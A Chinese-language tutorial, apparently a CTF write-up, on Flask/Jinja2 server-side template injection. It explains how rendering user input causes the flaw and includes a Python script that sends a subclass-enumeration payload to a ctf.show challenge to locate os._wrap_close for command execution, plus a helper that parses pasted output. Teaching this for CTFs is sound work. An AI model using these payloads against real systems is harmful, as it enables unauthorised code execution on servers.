huarui bio photo

SSTI


Flask模板注入

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。


模板渲染

让我们用例子来简析模板渲染。

<html>
<div>{$what}</div>
</html>

我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为

<html>
<div>张三</div>
</html>

当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。


重要函数

render_template函数

regquest.arg.get(‘a’)函数

通过get的方式获得请求

render_template_string函数

多用于ctf赛题里,用于渲染字符串,可以直接定义网页内容

url_for()函数

用来构建url

redirect()函数

用来重定向网站


成因

例子:

<html>
  <head>
    <title> - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, !</h1>
  </body>
</html>

里面有两个参数需要我们渲染,user.name,以及title

我们在app.py文件里进行渲染。

@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   return render_template("index.html",title='Home',user=request.args.get("key"))


解题思路


1.找到模板注入点

2.先查看所有的子类







然后寻找可用子类并且获得它的序号

import requests
from bs4 import BeautifulSoup
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def crawl(url):
    try:
        # 发送请求
        response = requests.get(url, verify=False)

        # 检查请求是否成功
        if response.status_code == 200:
            # 返回网页的HTML内容
            return response.text
        else:
            print(f"请求失败,状态码: {response.status_code}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"请求发生异常: {e}")
        return None


def truncate_at_string(text, target_string):
    # 找到目标字符串在文本中的位置
    pos = text.find(target_string)
    if pos == -1:
        return "目标字符串未找到"

    # 截取文本至目标字符串位置(不包括目标字符串本身)
    truncated_text = text[:pos]

    return truncated_text

def count_substring_occurrences(text, substring):
    # 使用 count 方法统计子字符串出现的次数
    count = text.count(substring)
    return count


#确定寻找的子类
target_string = "os._wrap_close"

url = b"https://d2da0681-9d65-4e0b-8a88-64c4a7cf0ab0.challenge.ctf.show/hello/%7B%7B%22%22.__class__.__bases__[0].__subclasses__()%7D%7D"
html_content = crawl(url)
te = truncate_at_string(html_content, target_string)

#开始数
stringwant = "&#39"
mem = count_substring_occurrences(te,stringwant)
print (f"你想要找到的子类{target_string}列表号是")
print((mem-1)/2)

#print(te)

#if html_content:
#    print(f"全部子类:\n{html_content}")



这里我获得的序号是132


3.命令执行





更简单的通用脚本,复制粘贴a的值即可


我们首先把所有的子类列举出来

然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类
import json
a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""
num = 0
allList = []
result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k,v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k)+"--->"+v)